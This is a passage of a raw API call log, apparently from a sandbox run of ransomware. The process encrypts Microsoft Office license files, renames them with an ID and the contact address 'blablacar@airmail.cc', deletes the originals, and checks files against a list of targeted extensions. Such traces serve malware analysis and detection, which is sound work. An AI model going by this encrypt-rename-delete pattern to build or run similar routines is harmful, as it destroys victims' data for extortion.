(in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x29a7, lpOverlapped=0x0) returned 1 [0196.182] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0196.183] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.183] WriteFile (in: hFile=0x3ec, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x114, lpOverlapped=0x0) returned 1 [0196.183] SetEndOfFile (hFile=0x3ec) returned 1 [0196.183] CloseHandle (hObject=0x3ec) returned 1 [0196.183] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.183] SetEndOfFile (hFile=0x3c4) returned 1 [0196.199] CloseHandle (hObject=0x3c4) returned 1 [0196.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp-pl.xrm-ms")) returned 1 [0196.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.201] lstrlenW (lpString=".doc") returned 4 [0196.201] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.201] lstrlenW (lpString=".docx") returned 5 [0196.201] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.201] lstrlenW (lpString=".pdf") returned 4 [0196.201] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.201] lstrlenW (lpString=".xls") returned 4 [0196.201] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.201] lstrlenW (lpString=".xlsx") returned 5 [0196.201] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.201] lstrlenW (lpString=".ppt") returned 4 [0196.201] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.201] lstrlenW (lpString=".zip") returned 4 [0196.202] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".rar") returned 4 [0196.202] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".bz2") returned 4 [0196.202] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".7z") returned 3 [0196.202] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.202] lstrlenW (lpString=".dbf") returned 4 [0196.202] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.202] lstrlenW (lpString=".1cd") returned 4 [0196.202] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.202] lstrlenW (lpString=".jpg") returned 4 [0196.202] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.202] lstrlenW (lpString=".doc") returned 4 [0196.202] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".docx") returned 5 [0196.202] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.202] lstrlenW (lpString=".pdf") returned 4 [0196.202] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".xls") returned 4 [0196.202] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.202] lstrlenW (lpString=".xlsx") returned 5 [0196.202] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.202] lstrlenW (lpString=".ppt") returned 4 [0196.202] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.203] lstrlenW (lpString=".zip") returned 4 [0196.203] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString=".rar") returned 4 [0196.203] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString=".bz2") returned 4 [0196.203] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString=".7z") returned 3 [0196.203] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.203] lstrlenW (lpString=".dbf") returned 4 [0196.203] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.203] lstrlenW (lpString=".1cd") returned 4 [0196.203] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-pl.xrm-ms") returned 82 [0196.203] lstrlenW (lpString=".jpg") returned 4 [0196.203] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.319] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.319] lstrlenW (lpString="HomeBusinessR_Retail-ul-phn.xrm-ms") returned 34 [0196.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.320] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=19954) returned 1 [0196.320] CloseHandle (hObject=0x3c4) returned 1 [0196.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 0x220 [0196.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.321] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.322] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.322] GetLastError () returned 0x0 [0196.322] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x4df2, lpOverlapped=0x0) returned 1 [0196.329] WriteFile (in: hFile=0x410, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x4e00, lpOverlapped=0x0) returned 1 [0196.331] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.331] WriteFile (in: hFile=0x410, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x118, lpOverlapped=0x0) returned 1 [0196.331] SetEndOfFile (hFile=0x410) returned 1 [0196.331] CloseHandle (hObject=0x410) returned 1 [0196.331] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.331] SetEndOfFile (hFile=0x3c4) returned 1 [0196.335] CloseHandle (hObject=0x3c4) returned 1 [0196.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.335] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-ul-phn.xrm-ms")) returned 1 [0196.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.337] lstrlenW (lpString=".doc") returned 4 [0196.337] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".docx") returned 5 [0196.337] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.337] lstrlenW (lpString=".pdf") returned 4 [0196.337] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".xls") returned 4 [0196.337] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".xlsx") returned 5 [0196.337] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.337] lstrlenW (lpString=".ppt") returned 4 [0196.337] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.337] lstrlenW (lpString=".zip") returned 4 [0196.337] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".rar") returned 4 [0196.337] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".bz2") returned 4 [0196.337] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString=".7z") returned 3 [0196.337] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.337] lstrlenW (lpString=".dbf") returned 4 [0196.337] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.338] lstrlenW (lpString=".1cd") returned 4 [0196.338] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.338] lstrlenW (lpString=".jpg") returned 4 [0196.338] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.338] lstrlenW (lpString=".doc") returned 4 [0196.338] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString=".docx") returned 5 [0196.338] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.338] lstrlenW (lpString=".pdf") returned 4 [0196.338] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString=".xls") returned 4 [0196.338] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString=".xlsx") returned 5 [0196.338] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.338] lstrlenW (lpString=".ppt") returned 4 [0196.338] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.338] lstrlenW (lpString=".zip") returned 4 [0196.347] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.347] lstrlenW (lpString=".rar") returned 4 [0196.347] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.347] lstrlenW (lpString=".bz2") returned 4 [0196.347] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.347] lstrlenW (lpString=".7z") returned 3 [0196.347] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.347] lstrlenW (lpString=".dbf") returned 4 [0196.347] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.347] lstrlenW (lpString=".1cd") returned 4 [0196.347] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-ul-phn.xrm-ms") returned 84 [0196.347] lstrlenW (lpString=".jpg") returned 4 [0196.347] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.348] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.348] lstrlenW (lpString="HomeBusinessR_Retail2-pl.xrm-ms") returned 31 [0196.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.349] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=10659) returned 1 [0196.349] CloseHandle (hObject=0x3c4) returned 1 [0196.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 0x220 [0196.349] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.349] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.350] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0196.350] GetLastError () returned 0x0 [0196.350] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x29a3, lpOverlapped=0x0) returned 1 [0196.354] WriteFile (in: hFile=0x410, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x29b0, lpOverlapped=0x0) returned 1 [0196.356] ReadFile (in: hFile=0x3c4, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0196.356] WriteFile (in: hFile=0x410, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x112, lpOverlapped=0x0) returned 1 [0196.356] SetEndOfFile (hFile=0x410) returned 1 [0196.356] CloseHandle (hObject=0x410) returned 1 [0196.356] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0196.356] SetEndOfFile (hFile=0x3c4) returned 1 [0196.364] CloseHandle (hObject=0x3c4) returned 1 [0196.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-pl.xrm-ms")) returned 1 [0196.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.365] lstrlenW (lpString=".doc") returned 4 [0196.366] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".docx") returned 5 [0196.366] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.366] lstrlenW (lpString=".pdf") returned 4 [0196.366] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".xls") returned 4 [0196.366] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".xlsx") returned 5 [0196.366] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.366] lstrlenW (lpString=".ppt") returned 4 [0196.366] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.366] lstrlenW (lpString=".zip") returned 4 [0196.366] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".rar") returned 4 [0196.366] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".bz2") returned 4 [0196.366] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString=".7z") returned 3 [0196.366] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.366] lstrlenW (lpString=".dbf") returned 4 [0196.366] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.366] lstrlenW (lpString=".1cd") returned 4 [0196.366] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.366] lstrlenW (lpString=".jpg") returned 4 [0196.366] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.367] lstrlenW (lpString=".doc") returned 4 [0196.367] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".docx") returned 5 [0196.367] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0196.367] lstrlenW (lpString=".pdf") returned 4 [0196.367] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".xls") returned 4 [0196.367] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".xlsx") returned 5 [0196.367] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0196.367] lstrlenW (lpString=".ppt") returned 4 [0196.367] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.367] lstrlenW (lpString=".zip") returned 4 [0196.367] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".rar") returned 4 [0196.367] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".bz2") returned 4 [0196.367] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0196.367] lstrlenW (lpString=".7z") returned 3 [0196.367] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0196.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.367] lstrlenW (lpString=".dbf") returned 4 [0196.368] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0196.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.368] lstrlenW (lpString=".1cd") returned 4 [0196.368] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0196.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-pl.xrm-ms") returned 81 [0196.368] lstrlenW (lpString=".jpg") returned 4 [0196.368] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0196.368] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0196.368] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32 [0196.368] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.369] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=22092) returned 1 [0196.369] CloseHandle (hObject=0x3c4) returned 1 [0196.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220 [0196.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.369] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, 